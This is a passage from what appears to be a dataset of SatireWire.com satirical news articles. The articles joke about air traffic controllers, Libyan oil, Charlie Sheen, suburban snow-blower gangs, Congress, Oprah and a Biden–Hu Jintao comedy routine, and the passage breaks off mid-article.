Foreign agents are known for poor spellings! Downvote! permalink parent report reply redditpollover 145 points 45 minutes ago Is there a poll somewhere to change their flag? I think they’ll need a new flag. permalink parent report reply freesaudi11 1 point 42 minutes ago We have already a flag! What we want is freedom! permalink parent report reply pondjumper 42 points 35 minutes ago What I want is bacon. permalink parent report reply happymemeperson 988 points 25 minutes ago “There can be no freedom without bacon.” — Thomas Paine. permalink parent report reply freesaudi11 1 point 20 minutes ago Please. We cannot have bacon. permalink parent report reply indooroutdoor 200 points 15 minutes ago Then you can have no uprising. permalink parent report reply '], ['no-topic', 'CONTROLLERS: ‘PILOTS PUT US TO SLEEP’', "WASHINGTON, D.C. (SatireWire.com) – Beleaguered air traffic controllers went on the offensive today, accusing pilots of purposely putting them to sleep by constantly speaking in that low-level, monotone mumble. “Passengers hear pilots give those muttered, indecipherable announcements a few times a flight, but we have to hear that all night along,” said Randy Kirkham, a spokesman for the National Air Traffic Controllers Association. “I dare anyone to stay awake during that. I’ve had better conversations in a coma.” A passenger bored to sleep by a pilot mumbling over the plane's PA system. Charles Rand, chief of the airline pilots union, immediately denied the allegation and said pilots only speak in soft, mind-numbing voices to calm passengers. “The fault here mmmm-mmmm air traffic mmm-mmm mmmm with our mmmm,” Rand said. “We mmmmm-mmmm cabin crew mmmm-mmm-mm thousand feet mmmm-mmmm flight time mmmm mmmm-mmmm rough air mmmm-mm-mmmmly. So sit back and relax.” The FAA, however, conceded that a pilot’s voice is soporific. “It is hypnotic,” said David Grizzle, interim head of Air Traffic for the FAA. “Most of us play cockpit tapes at night to get to sleep.” The charges come in the wake of the resignation of FAA Air Traffic chief Hank Krakowski, who left under pressure last week. Krakowski could not be woken for comment, as he had fallen asleep to a particularly powerful mix of tranquilizers and a United Airlines co-pilot describing the weather conditions around Dallas/Fort Worth. Controllers, meanwhile, contend that pilots are well aware of the effect they have, and produced a tape recording of a recent controller-pilot interaction as proof. On the tape, the tower at San Francisco International Airport tells Continental flight 449 to descend to 8,000 feet. The pilot replies, “Roger tower. Descending to 8,000. And then 7,000, 6,000, 5,000, 4,000 … you’re getting drowsy … 3,000, 2,000, 1,000… you’re asleep.” Controllers say they’ve long endured the practice without complaint, but say pilots crossed the line by complaining to the FAA about dozing. As a result, pilots say controllers have begun to strike back. “Saturday I was coming into Philly and I asked what runway and approach to take,” said American Airlines pilot Jeff Sandsby. “The controllers says, ‘Can you see the ground?’ I said, ‘Yeah.’ He said, ‘Good. Try and land on it.’ Once I got down I asked where to go. And he told me.’ “Yesterday in Minneapolis the tower told me I was cleared for fuck off,” he added. Animosity between controllers and pilots is rarely talked about outside the industry for fear of creating a public panic, but the dozing crisis has brought the rivalry into the open. It’s also gone onto to the Internet, as competing Twitter postings last week from a pilot and a controller attest: CaptainSkyJockey: “Here’s a good one: What do you get when you cross a 747 with an Airbus 320? Fired.” PowerTower: “Here’s a better one: What do you get when you cross a 747 with an Airbus 320? Let’s find out.” "], ['no-topic', 'HEROIC OIL COMPANIES OFFER TO FLY LIBYAN OIL TO SAFETY', 'TRIPOLI (SatireWire.com) – As chaos mounts in Libya, concerned petroleum firms across the globe have made a courageous pledge to fly all of Libya’s oil to safety. Oil barrels await their plane ride to safety. “We have watched the events in Libya unfold in horror, and we cannot stand idly by and allow billions of innocent barrels to be in harm’s way,” said CEO James Mulva of ConocoPhillips, one of 10 firms to send planes and ships to rescue oil from Libyan leader Muamar Gaddafi. Energy companies said they were particularly alarmed after rumors spread that Gaddafi plans to destroy oil fields, much as Iraq’s Saddam Hussein did during the Gulf War. Executives said they were shocked and saddened the admittedly ruthless dictator would stoop so low. “Gaddafi used to be someone you could count on,” said BP spokesman Keith Hart. “Yes, he was behind the Pan Am 103 bombing, which killed 280, and the French airplane downing that killed 170, and the Berlin disco bombing that killed and wounded 200, and he funded the Irish Republican Army, which killed thousands. But he always treated oil with dignity.” Libya produces 1.6 million barrels of oil a day, or roughly 2 percent of the world’s output. Gas and oil prices have surged as the continued violence threatens to interrupt operations. This makes any rescue attempt dangerous, but the risk is worth the effort, said Hess CEO John B. Hess. “Two percent may seem small, but put it in perspective,” Hess said. “If 2 percent of the world’s population were in danger, we would be talking about 120 million people. “That would be a frightening number,” he added. “If people were as valuable as oil.” According to energy firm officials, millions of barrels of oil are stranded in Libya, many cowering in fear as they await liberation from the widening crisis. Billions more are laying low, untapped and underground, hoping for a chance to escape to Europe and the West. In Spain, energy company Respol says it has been scrambling to get information on its oil’s whereabouts. “We have not seen or been in contact with any of our oil for the past two days and we are very concerned for its welfare,” said company spokesman Xavi Torres. “The situation is chaotic, but we will do everything we can to free the oil from this barbarous dictator. Unless he remains in power, in which case please replace ‘barbarous dictator’ with ‘valued ally.’” Italian firm ENI, meanwhile, has set up a toll-free number for anyone who has seen its oil. German company Wintershall has posted flyers across the country with pictures of its missing product. “Have you seen this barrel?” the caption reads. In anticipation of rescue, thousands of barrels of oil have packed into Tripoli’s airport, competing for space with foreign nationals who also hope to escape the widening crisis. The fight for seat space has proven volatile as passengers protested, with many chanting “People first, oil second!” Repeated attempts by oil company officials to correct their math were rebuffed. “I have a first-class ticket out and I want to sit next to my husband, not a barrel of crude oil,” said British national Helen Gerrard, hoping to make it back to her home outside London. Marathon Oil spokesman Lee Heardly, however, promised passengers this would not happen. “Only refined oil will be in first class,” Heardly said. “Crude oil will fly economy. Obviously.” On the political front, governments from the United States to Italy have been criticized for not speaking out stronger on Libya. Many, including President Obama, have threatened sanctions against Gaddafi and come out in support of Libya’s people, but nothing more. “Frankly, we are disappointed that the President of the United States and other leaders have not clearly demanded that Libya’s oil be free,” said Ray Irani, CEO of Occidental Petroleum, America’s fourth-largest U.S. oil company. “What do we pay these people for?” '], ['no-topic', 'CHARLIE SHEEN TO HELP ARABS TAKE FREEDOM TO ‘NEXT LEVEL’', 'CAIRO (SatireWire.com) – Pledging to help the Arab world take freedom “to the next level,” actor Charlie Sheen flew to the Middle East today with 650 tons of cocaine and 4,000 hookers. “Take me to your porn stars!” Sheen declared as he arrived at Cairo International Airport and began tossing whippets and small bottles of tequila to bewildered Egyptians. “You’re free! You’re all free! Now let’s get naked!” Charlie Sheen and 360 million people new to alcohol. What could go wrong? Sheen, currently on hiatus from his show Two and a Half Men after repeated problems with drugs and alcohol, said he was inspired to share his “expertise in self-expression” after watching protests in Egypt and Tunisia spill over into Yemen, Bahrain, Libya, and Iran. “What I realized was, the Arabs want what I have,” said Sheen as he threw back a flaming glass of whiskey and a handful of E-bombs. “I’m free to do what I want to do, and they want to be free to do what they want to do.” “Actually, I’m not sure that’s what we want to be free to do,” said 26-year-old Asaam Najeri, a local taxi driver attracted by Sheen’s sudden appearance. “Nonsense,” Sheen replied. “Everybody wants this. You just have to know how when to say ‘When.’” “And when is that?” Najeri asked. “I have no idea,” Sheen answered. “But let’s get two strippers and a crate of vodka in here and find out!” Sheen’s arrival surprised his hosts, who tried to temper his enthusiasm, particularly after his entourage built an enormous pyramid of cocaine bricks on the plains of Giza. “I thank you for your interest, but we have different needs here,” said Egyptian opposition leader Mohammed ElBaradei, who met with the actor. “I’m afraid they don’t involve prostitutes and snow men.” “Snowballs,” Sheen corrected. “As you say,” ElBaradei continued. “But perhaps you should fly back home now. I suspect you will not even need an airplane.” The Hollywood bad boy, however, refused to be dissuaded. “When you have freedom, you have to take advantage of it,” said Sheen. “You have to be willing to fight for it, to die for it, or, in my case, to suffer severe abdominal cramps and nasal bleeding for it.” After making an impromptu speech in Cairo’s Tahrir Square, where he encouraged Egyptians to “lift the crack pipe of freedom and inhale the dragon of liberty,” Sheen boarded a private plane for Libya, where many protesters have been beaten and imprisoned. “I can relate to those people ‘cause that’s happened to me too,” he said, taking a martini from a flight attendant dressed as a Lady Gaga. “I was imprisoned for my beliefs. I think. Or hospitalized. Maybe I was hospitalized. I’m not in the hospital now am I? I haven’t slept since January.” As he flew over western Egypt, where he asked for – and was denied — permission to snort the Sahara Desert, Sheen declared himself the world’s foremost authority on free will and vowed to teach all 360 million Arabs how to extend their boundaries. To begin, he intends to work with North African movie producers to film three high-caliber porn movies: “King Slut’s Tomb,” “Wam Bam Afghanistan,” and “The Cheeks of Arabi.” '], ['no-topic', '‘SNOW BLOWERS’ – SUBURBAN GANGS ADD NEW THREAT TO WINTER', "HAMDEN, CT (SatireWire.com) – For 33-year-old Kevin Embree, it was the moment he realized his quiet Connecticut neighborhood was no longer safe. “I’m shoveling my driveway on Tuesday,” he recalled, “and five of my neighbors, pushing snow blowers, come up to me, grab the shovel out of my hands and say, ‘Stand still. We’re gonna blow you.” INTERVIEW WITH A SNOW BLOWER We spoke with “Larry,’ a member of the Home Blow Boys, from the GlenWood Forest subdivision of Commack, Long Island, N.Y.SW: The Home Blow Boys. That’s… an interesting name. LARRY: Why? We all have nice homes. We wanted to include that. SW: No, the other part. LARRY: Well Home Boys is a good gang name, but since we all blow, we thought we should include that too. SW: Blow snow, yes. And how many members are in your gang? LARRY: About 15. Less if somebody has a dental appointment. Or has to work late. Or on snow days, when the kids are outta school, some of us have to be at home to make the Spaghetti-Os. Cuts into gang time. SW: How did you get started? LARRY: It was the guys in the neighborhood with snow blowers. When the snow started coming down, and kept coming down, we realized we were like kings. People would do whatever we wanted if we’d blow their driveways. We had the power. Then some guys from a nearby subdivision, Shady Estates, showed up on our street. Started blowing a couple of driveways, “as a favor.” We didn’t like that. SW: So you were united by a turf battle. LARRY: Exactly. SW: How do you settle turf disputes? LARRY: We blow each other. SW: You… LARRY: A bunch of their guys and a bunch of our guys get together on the disputed spot, and we blow each other off. SW: Surely not. LARRY: We blow snow at them and they blow snow at us. SW: Ah. LARRY: And after five minutes, whoever has more snow on their side gives up their claim. Our gang has blown, I don’t know, five or six dozen guys this winter. SW: But what about claims that you terrorize your own neighborhoods? LARRY: Who said that? What’s his address? SW: The police. They say you threaten people who try to clear their own property. They say you will take their snow blowers if they don’t join your gang. You may even beat them. LARRY: We don’t beat people. We blow them. SW: There’s got to be a better way to say that. LARRY: We blow snow at them. Because we clear the snow in Glenwood Forest. And if you have a problem with that, we’ll bury you in it. SW: But what will happen in the summer, when the snow is gone and you’ll have to face your neighbors without your “weapons?” LARRY: Got it figured. We have riding lawnmowers. We’ll do all the lawns on our turf. And if you get in our way, we’ll ride you. Cause we’re gonna be the Home Mow Boys. SW: The Home Mow Boys. LARRY: You got it. SW: Who comes up with your gang names? LARRY: Actually it’s our wives. Surprisingly they seem to get a kick out it. Embree, like millions of northeastern U.S. residents, came face to face with this winter’s surprising new threat: “snow blowers” — gangs of heavily jacketed, suburban, middle-class men who have taken control of their own neighborhood’s driveways and sidewalks in the midst of the snow removal crisis. “When they said that to me, I was like, ‘OK, thanks,’” Embree said, reliving the moment. “But later I realized they weren’t clearing my driveway for me. They were doing it for themselves, to show they were better than me; to show their control over me.” In hundreds of subdivisions from Virginia to Massachusetts, during what has been a record-setting winter, police say the stories are the same. Snow blowing equipment is sold out in most local stores, and the people who already own the machines find they hold sway over their lowly, shovel-stuck neighbors. Suddenly, these middle-aged suburban males are no longer indistinguishable. They have status. They have respect. Right there in their hands they wield 4-cycle, 250cc power. And they mean to keep it. The only threat is from rivals, outsiders who show up in their neighborhoods to help dig out a friend or relative. Instinctively, the locals form gangs to fend them off. And once together, under monikers like “The Blow Daddies,” “The Husky Varnas,” and “Ariens Nation,” they control all the “blow” on their turf. (See “Interview with a Snow Blower” at right.) “There’s too much snow to shovel, and these blow gangs, they know that,” said Lt. Richard Hengele of the Hamden, Conn., police department. “People whose driveways are two feet under come up to them and they’re like, ‘Blow me! Blow me! Please please do me now!’ So they blow your driveway, or your walk, and now you’re in debt to them. They own you.” Although there are reports of gangs receiving baked goods, and in one case, an Audi TT, for their services, most snow blowers don’t demand money. Instead, it’s the control that attracts them. And, if they can agree on a brand, the matching snow jackets. In fact, Hengele said, most gangs won’t allow any shoveling in their neighborhoods. “It shows they’re weak,” he explained. MY ENEMY, MY FRIEND As with most crimes, the victims know the perpetrators. They are friends, neighbors, guys they see on weekends cutting their lawns. But any former relationships appear to be forgotten once they join a gang, as Westchester, N.Y., resident Tom Gardner learned on Monday. “I’m getting ready to go out and do my driveway ‘cause I just got a brand new Toro Power Clear — 21-inch, single stage,” Gardner said. “Just as I start, these guys – maybe eight of ‘em, wearing ski masks and ski goggles and really nice black Spider ski jackets — appear out of nowhere and start clearing my driveway.” What happened next sent chills down Gardner’s already wind-chilled spine. The gang, including Gardner’s normally affable neighbor Ed, declared the neighborhood was their turf, and that they did all the snow blowing. “They told me to join their gang or I’d never see my snow blower again,” Gardner said. “ I’m not a gang guy. I’m a systems analyst for a payroll company. So they grabbed my snow blower and threw it up on the power lines.” Snow blowers are sometimes draped on power lines to mark a gang's territory. Police say snow blowers commonly do this to mark their turf and warn off rival gangs. Now, police fear, they may be doing it to warn off the towns themselves. With many public works departments unable to keep up with snow removal, gangs like the “Straight Chuters” from Basking Ridge, N.J., have begun to encroach on the government’s domain. “Last night I blew my whole street,” said “Mark,” a 42-year-old bank manager, father of three, and Straight Chuters leader. “Took me five hours and I was literally covered in white stuff. Way I look at it, everyone on my street owes me for that.” But just what people “owe” is never made clear. The ambiguity of these blow gangs has proven frustrating for police, who can’t figure out if a crime is being committed, and victims. “I’m not just intimidated, I’m confused,” said Gardner. “They said I’d never see my snow blower again, but I can. It’s right up there, hanging on the power lines. Am I supposed to not look at it or something? What do they want me to do?” “I’m afraid to go to my mailbox in case I accidentally kick some snow aside,” added Connecticut victim Kevin Embree. “When will it end? When will this nightmare end?” Probably in Spring, said Lt. Hengele. "], ['no-topic', 'BIPARTISAN DATES: THE MORNING AFTER', 'WASHINGTON D.C. (SatireWire.com) – They went together, as bipartisan dates, to President Obama’s State of the Union address. It didn’t always work out, but at least one happy pair saw the sunrise together. We sat down with nine couples on the morning after. Sen. Saxby Chambliss (R-GA) and Sen. Al Franken (D-MN) Sens. Saxby Chambliss and Al Franken FRANKEN: I never thought much of that cliché, that opposites attract. I mean Saxby and I, we’re like from two different planets. And yet… after the speech we went for coffee, and I’m going on and on about deficit reduction and business tax waivers and the impact of trade on the GDP, and he’s just doodling. Literally doodling. The whole time. After a while I said, “Are you even listening to me?” And you know what he does? He slides a copy of the President’s speech over to me, and he’s drawn a big heart with “AF + SC” inside it. I mean… men. Honestly. CHAMBLISS: Yeah we’re opposites I guess. Franken’s all brains and facts and intellect and I don’t know what he’s talking about half the time. But it tingles me. It does. Tell you what, after last night, he’s turned me into a proponent of cap-n-trade, although it means something else with him (blushing). Sen. John McCain (R-AZ) and Sen. John Kerry (D-MA) Sens. John Kerry and John McCain MCCAIN: It was awkward at first. Kerry was shy and a little stiff… KERRY: Don’t be vulgar. I hate it when you’re vulgar. MCCAIN: Sorry. That’s not what I meant. Anyway, we’re watching the speech, chatting a bit, flirting a bit… KERRY: With Lieberman. MCCAIN: I didn’t say two words to Joe Lieberman. I told you, we’re just work colleagues. KERRY: Right. MCCAIN: Anyway, really I was just waiting for my chance to work my maverick. So I wait for the President to say something “romantic,” then I make my move. But no. Denied! His border security’s pretty tight, I can tell you that. KERRY: Romantic? When the President said we are “bound together as one people,” McCain whispered in my ear, “Hey, that sounds good. You into that?” I just looked straight ahead the rest of the night. Rep. Jim Clyburn (D-SC) and Rep. Jeb Hensarling (R-TX) Reps. Jeb Hensarling and Jim Clyburn HENSARLING: I think for me the attraction was the taboo aspect, the black-white thing. I mean, Clyburn’s African American and I’m so white my name is Jeb. We were nervous about it. But there was a point when we both looked up there at the President and Jim turned to me and said, ‘You know, he’s the product of black and white love, and he’s beautiful.’ And then his hand just slipped into mine. It felt natural. CLYBURN (Laughing): Hee hee. Yeah, that line works every time. I mean every time. It’s worked on Franken three times this month! That dude has some serious white guilt issues or something. All the better for me. Especially ‘cause he always makes me breakfast in the morning. Mmmm… the man can cook some eggs, lemme tell you. Debbie Wasserman Schultz (D-FL) and Rep. John Culberson (D-TX) Reps. Debbie Wasserman Schultz and John Culberson WASSERMAN SCHULTZ: I’m from Florida now, but I was born in New York. That means you don’t mess with me. Culberson, he tried to mess with me. We’re sitting there, listening to Obama, and the next thing I know he starts nibbling on my ear! I’m trying to push him away. I say, “Yo, back off Texas boy, the President just said he wants to ban earmarks!” and he says, “How ‘bout ear-hickeys?” CULBERSON: Representative John Culberson-Wasserman-Schultz. Representative Debbie Wasserman- Schultz-Culberson. Representative John Debbie Culberwasserschultz… Sorry. What were you asking? Rep. Anthony Weiner (D-NY) and Rep. Peter King (R-NY) Anthony Weiner (left) and Peter King KING: I didn’t want to sit with this pinko Wiener, everybody knows that. But the papers would’ve made me out to be some kinda jerk if I refused. So I went. And we sat. And we talked. And later, yeah, we talked some more. Till sunrise. And, OK, you want me to say it? Fine. I’ll say it. I love Weiner! There. WEINER: People were shocked to learn we were going together. Ideologically we are different, yes. But etymologically, we’re the same. My name’s Weiner. His name’s Peter. Kismet. Sens. Marco Rubio and Bill Nelson Sen. Marco Rubio (R-FL) and Sen. Bill Nelson (D-FL) RUBIO: I don’t waste a lot of time. I get right to the point. Five minutes into Obama’s speech I turn to Nelson and say, “You think he’ll talk about the stimulus package?” and Nelson says, “I don’t know, why?” and I say, “’Cause I got your stimulus package right here.” NELSON: We left early. Rep. Nancy Pelosi (D-CA) and Rep. Roscoe Bartlett (R-MD) Roscoe Bartlett and Nancy Pelosi PELOSI: I don’t usually go for older… gentlemen, but lately things haven’t gone so well for me so… beggars and choosers, as they say. Roscoe is 84 and he’s, well, he’s not exactly (tiger noise) Paul Ryan (R-WI). But after the speech I invited him up to my chambers and we gave it a go. But his infrastructure, like America’s, kept crumbling. It’s just not my year. BARTLETT: Wait, you’re in Congress? When did we starting letting women in Congress? Sen. Mark Udall (D-CO) and Sen. Jim DeMint (R-SC) Sens. Mark Udall and Jim DeMint UDALL: You-doll. DeMint kept calling me, “You-doll.” It was cute at first. You know, “Hi there You-doll” and “Sit next to me You-doll” and “Oh You-doll, where have you been all my legislative life?” But I’m not just a doll. I’m not just some adorable plaything. I’m a U.S. Senator! DEMINT: You’re a U.S. doll. UDALL: Stop saying that! Rep. Kevin McCarthy (R-CA) and Rep. Steny Hoyer (D-MD) Reps. Tom McCarthy (left) and Steny Hoyer. HOYER: I’m partisan. I’ve always been partisan. I’m proud of that. MCCARTHY: Same here. Always been a partisan. Straight ticket. Straight straight straight. HOYER: Some folks stray, but not me. MCCARTHY: Me neither. Always gone down the one true path. HOYER: The bottom line is, despite what people are saying about me and Kevin in the Reflecting Pool last night, we are not, you know… MCCARTHY: Bipartisan. We are absolutely not bipartisan. HOYER: No. Not at all bi. MCCARTHY: Partisan. HOYER: Right. Bipartisan. So… MCCARTHY: So that’s it. … HOYER: So good. We’re done here. Oh, Kevin — that is, Congressman McCarthy — call me OK? About that “thing.” MCCARTHY: Oh right. Yes. The “thing.” I will. So, bye. HOYER: No, not bi. MCCARTHY: I was saying goodbye. '], ['no-topic', 'OPRAH LAUNCHES “O2: THE OPRAH WINFREY SISTER”', 'CHICAGO (SatireWire.com) — Oprah Winfrey, host of the Oprah Winfrey Show, chairman of the Oprah Winfrey Network, and founder of O: The Oprah Magazine, today announced her long-lost sister Patricia has agreed to be called O2: The Oprah Winfrey Sister. Oprah Winfrey unveils her half-sister 02: The Oprah Winfrey Sister Winfrey, who revealed the existence of O2: The Oprah Winfrey Sister on her show Monday, said the rebranding will allow O2: The Oprah Winfrey Sister to become instantly recognizable as a member of the Oprah Winfrey media and philanthropic empire, and as a member of Oprah’s family, The Oprah Winfrey Family. As for the name O2, Winfrey explained it has special significance. “Well, the O is for Oprah, obviously, but the ‘2’ has double meaning,” she said. “I’m Oprah, I have a sister, so that’s like a second me, or 02. And also Patricia, her former name, starts with a P, which is the letter after O. So if O is 1, then P is 2. So O2=P. “Although we can’t call her P,” she added. “Because that doesn’t start with O.” Winfrey discovered she had a half sister last fall, but managed to keep it a secret until her show Monday, when she introduced O2: The Oprah Winfrey Sister to her vast audience. During an often emotional conversation, 02 described the long search for her birth mother, who had given her up for adoption. She learned her real mother was named Vernita Lee, and discovered she and Oprah shared the same mother when watching Lee being interviewed on a television show. “But how did you make the connection to me?” Winfrey asked. “Because the caption on the TV said, ‘Vernita Lee: The Oprah Winfrey Mother,’” 02 explained. Winfrey praised 02: The Oprah Winfrey Sister for keeping the relationship a secret and not selling the story to the tabloids, which staffers confirmed would have been called ‘O the Betrayal: The Story of the Betrayal of Oprah Winfrey,’ had it happened. “When I found out about her, about how she had kept this secret, I knew I had to meet her,” Winfrey told her audience. “It’s very difficult for me to have secrets. Everyone seems to know everything about me. But families need to have secrets like this. Which is why I’m telling all of you.” As the audience sighed audibly, 02 reached out for her sibling’s hand. “I can’t believe my sister is Oprah Winfrey,” she said, choking up. “And I can’t believe my sister is 02: The Oprah Winfrey Sister,” Winfrey replied. At the end of the show, Winfrey gave each member of the studio audience a sister. '], ['no-topic', 'U.S. TO SELL OFF UNDERPERFORMING STATES', 'WASHINGTON, D.C. (SatireWire.com) – Yielding to economic pressure, the U.S. will sell off 11 underperforming states by the end of the year, the White House announced today. The most recent available figures from the Tax Foundation. The surprise sale is a concession to Republicans, who have long demanded the government be run more like a business. Each of the states chosen annually receive more federal money than they collect in taxes, giving them a negative return-on-investment “that no corporation would tolerate,” said White House economic advisor Austan Goolsbee. The worst-performing 11 states include America’s largest (Alaska), its poorest (Mississippi), and its least interesting (North Dakota). The others are New Mexico, Louisiana, West Virginia, Alabama, South Dakota, Virginia, Kentucky, and Montana. According to the nonpartisan Tax Foundation, only 19 of the 50 states are profitable for the government, while one, Rhode Island, is level, receiving $1 in federal funding for each dollar its citizens pay in federal taxes. The administration, however, chose to take only the bottom 11 off their balance sheet as the remaining 39 would, collectively, break even. President Obama, who will outline the plan in his State of the Union address Tuesday, is not expecting significant opposition. “The American people said in the last election they want us to cut costs and focus on needs,” Obama explained. “Looking at the list, it’s hard to argue we need these. The Dakotas? Mississippi? West Virginia? It’s a no-brainer. By which I do not mean West Virginia specifically.” Tea Party and GOP members initially supported of the idea, until they realized that 10 of the 11 states most in the red are actually Republican “red states.” “When we said we need to run America like a business and get serious about cutting costs, we didn’t mean losing Kentucky,” said Senate Minority Leader Mitch McConnell, who would surrender his post with Kentucky’s sale. “We meant that government should take a hands-off approach and let the free market decide.” “The free market says Kentucky sucks,” Obama replied. “Look at the numbers.” Alaska, with its natural resources, is expected to fetch the highest bid. Its sale, however, will mean that former Gov. Sarah Palin will not be eligible to run for President, as she will no longer be a U.S. citizen. Obama’s native Hawaii is the 39th worst performing state, and will remain in the union. The White House called this a “market-driven coincidence.” The states will be sold as-is, although Goolsbee said the properties will be relieved of important assets such as military bases and the national gold reserves at Kentucky’s Ft. Knox. In Virginia, the homes of George Washington and Thomas Jefferson will be moved to Maryland, as will the Arlington National Cemetery. Sources also say the giant figures on South Dakota’s Mount Rushmore will be moved to Arkansas, “to finally give people a reason to go there.” Following the asset transfers, the states will be repainted, primarily in neutral colors. “I’m not sure about New Mexico, but we’ll definitely paint the red states,” Goolsbee said. “It’s a jarring color, one we have found very difficult to work with.” Opponents argue the sale will allow foreign countries to gain a foothold on the North American mainland, but economists say the market is too weak, and doubt there will be interest once other nations perform due diligence and see the red ink. Corporations are more likely to be tempted, although to date, only Facebook has expressed interest. It may bid on West Virginia for its coal mines. “We don’t need the coal,” explained Facebook founder Mark Zuckerberg. “We need the deep, dark caverns protected by layers of impenetrable rock and inaccessible to the general public, to store our privacy policy.” The U.S. will hold an open house on May 21 and hopes all properties will be off the books by Dec. 31. States that remain unsold may be broken up and sold for scrap, Goolsbee added. '], ['no-topic', 'U.S. APOLOGIZES FOR BIDEN’S ‘HU’S ON FIRST’ ROUTINE', "WASHINGTON, D.C. (SatireWire.com) – The United States formally apologized to China today for the behavior of Vice President Joe Biden, who spent nearly an hour prior to Wednesday’s state dinner trying to make President Hu Jintao take part in a “Hu’s on first” routine. The Vice President (center) tries to get President Hu (right) and his translator to understand why the President's name is so funny. China has reportedly accepted the apology and asked that the Biden please not attempt further contact with Hu or any members of the delegation for the remainder of the Chinese President’s stay. The Chinese Human Rights Defenders network, which has long sought sanctions against the Communist nation, initially opposed the apology, saying it is China that should beg forgiveness for years of human rights abuses. After reading a transcript of the Biden conversation, however, the CHRD released a statement reading, “Oh. Right. Never mind.” A partial transcript of the conversation, in which Hu speaks through his personal translator, Wi Jin, is below: TRANSLATOR: Mr. Vice President, may I introduce President Hu. BIDEN: Ha. That’s funny. TRANSLATOR: President Hu wishes to know what is funny. BIDEN: Your name, Mr. President. You’re Hu. TRANSLATOR: Yes that is correct. President Hu wishes to know why this is funny please. BIDEN: Well it’s like, ‘Who? President Who?’ TRANSLATOR: The President now wishes to know why you keep saying his name. BIDEN: Because it’s… oh c’mon. Is he pulling my leg? TRANSLATOR: The President says he has not touched you in an inappropriate way. BIDEN: No I mean ‘Who.’ Like he’s President Who? Like we don’t know his name. TRANSLATOR: The President says he will write it down for you if you are having difficulty remembering. BIDEN: No no. See, there’s this comedy routine in our country. “Who’s on First.” Right? Ask him if he knows “Who’s on First.” TRANSLATOR: The President says he believes President Obama will speak first and he will speak afterward, as is protocol. BIDEN: No no. The routine is called “Who’s on First.” Abbott and Costello? They’re like, “Who’s on first? I don’t know.” TRANSLATOR: The President says he has already told you who is going to speak first, and asks if you will also be speaking so that he may know when to excuse himself. BIDEN: God, seriously? “Who’s on First?” I mean, who doesn’t know this? TRANSLATOR: The President again says he does know this, that he knows who will speak first and he has explained that he knows this and he has asked me if you are in fact a real vice president. BIDEN: Alright look, let’s start over. How can I…? OK, Mr. President, ask me my name. TRANSLATOR: The President says he believes you are Vice President Biden, but is perhaps now not so sure. BIDEN: No no, I know I’m Vice President Biden. But let’s say for the sake of argument I’m not. TRANSLATOR: The President says he does not wish to argue with you and adds that if you were not Vice President, he does not believe anyone else would argue either. BIDEN: Man, I’m gonna make him get this. Just, look, just have him ask my name. TRANSLATOR: The President is now extremely concerned that you are not a vice president but he asks your name because it will look suspicious if he runs away from you at this point. BIDEN: Good. My name. I’m Vice President Hu. TRANSLATOR: The President says he does not like to believe this is your name as it would imply you are somehow related. BIDEN: No no, I say “I’m Vice President Hu,” then he says, “Who is Vice President?” Tell him to say that: “Who is Vice President?” TRANSLATOR: President Hu says respectfully that Hu is President, not Vice President, and so cannot pretend to be something he is not. Unlike yourself, he adds. BIDEN: No no, it’s the routine. See, he asks, “Who is Vice President?” and I say, “Yes,” and he says, “I don’t know, tell me who,” and I say “I already told you — Hu!” Classic. TRANSLATOR: I do not wish to translate this so I have told the President that you are ill. BIDEN: Just… look, this is important for Chinese-American relations. He wants to understand America, he’s gotta understand “Who’s on First.” TRANSLATOR: The President says, again, that Mr. Obama is speaking first and wishes to know if he may summon a doctor for you. BIDEN: I don’t need a doctor. Man, how can I get through to get through to him? TRANSLATOR: The President warns you not to attempt to get ‘through to him’ and has given a secret signal to his security team making them aware of your threat. BIDEN: No no listen. Just… try one more time. Who’s on First? TRANSLATOR: No, the President has told you, Hu is on second. BIDEN: Yes! That’s right! TRANSLATOR: He is pleased that you agree. BIDEN: Who agrees. TRANSLATOR: Yes. Hu agrees. BIDEN: Now you’re gettin’ it! OK, what’s the name of your vice president? TRANSLATOR: The Vice President is Xi Jinping. BIDEN: She Gin-Ping? Really? That’s hilarious. So she is Vice President? TRANSLATOR: Yes, Xi is Vice President. BIDEN: OK, but… (laughter) … who is she? TRANSLATOR: The President says he has already told you that Xi is Vice President and he also is wondering why Mr. Obama has allowed you to speak to him. BIDEN: (laughter) This is great. So, she is vice president, and who is president. TRANSLATOR: I will not bother to translate this, but yes. BIDEN: She’s vice president, and who is president. TRANSLATOR: The President wishes you to back away slowly. BIDEN: Not now, we’re just getting going baby! OK, who’s the President. You haven’t told me who he is! TRANSLATOR: The President says He is a member of the Politburo Standing Committee and wishes to know why you ask about him. BIDEN: Wait… he? TRANSLATOR: Yes. He Guoqiang. BIDEN: He Gwo Kyang. TRANSLATOR: Close enough. BIDEN: Who is he? TRANSLATOR: No. Hu is President. He is a member of the ruling committee. BIDEN: Ha! (laughter) That’s what I’m talkin’ about! OK, so who is president, she is vice president, and he is in the politburo. TRANSLATOR: The President says this is correct and is now concerned that he is agreeing with a madman. BIDEN: How can it be correct? You… (laughter) … You haven’t told me who who is and she is and he is! TRANSLATOR: A moment please. BIDEN: Sure, sure. (laughter) Oh man this is great stuff. Great stuff… TRANSLATOR: The President wishes to ask about the health of your President Obama. BIDEN: His health? It’s fine. Why? TRANSLATOR: As the President understands American democracy, you are next in line to be president. He says this is now of great concern to him. BIDEN: Well he shouldn’t worry about… oh, ha, I get it! “great concern to Him!” OK, I’ll bite. Who is Him? Or is Him He? Cause I don’t think She is! (disproportionate laughter). PRESIDENT AND TRANSLATOR LEAVE BIDEN: Hey wait wait... now you say, “I don’t know. Third base!” (wholly unwarranted laughter) "], ['no-topic', 'U.S. MAY MOVE BACK IN WITH PARENTS', "WASHINGTON, D.C. (SatireWire.com) – Nearly 235 years after moving out in a massive row, the United States has asked to move back in with Britain “temporarily,” until it can get out of debt and back on its feet. A hopeful President Obama brings a suitcase with some of America's things to Buckingham Palace. The former colony, which is $14 trillion in the red, “just needs to retrench” following a few bad years and hopes living with its parents will help it save up some money to get a new start. Britain, however, has yet to agree, explaining that it has its own financial problems and has nowhere to put America, as the Leeward Islands moved back in just last week. In a phone call with the U.S. earlier today, Queen Elizabeth was initially unsympathetic to her former charge’s plight. “Hmm, if we recall, you’re the one who wanted to move out. You’re the one who wanted to be all ‘independent,’” said the Queen. “What was it you kept shouting? ‘Give me liberty or give me death?’ Oh. Oh my God. What happened? Did you die?” “Hey c’mon, why do you have to make this so hard?” President Barack Obama reportedly pleaded on behalf of his nation. “Look, we can stay in the basement. You won’t even know we’re there.” “No, of course not. After all, you’re such a calm, quiet, 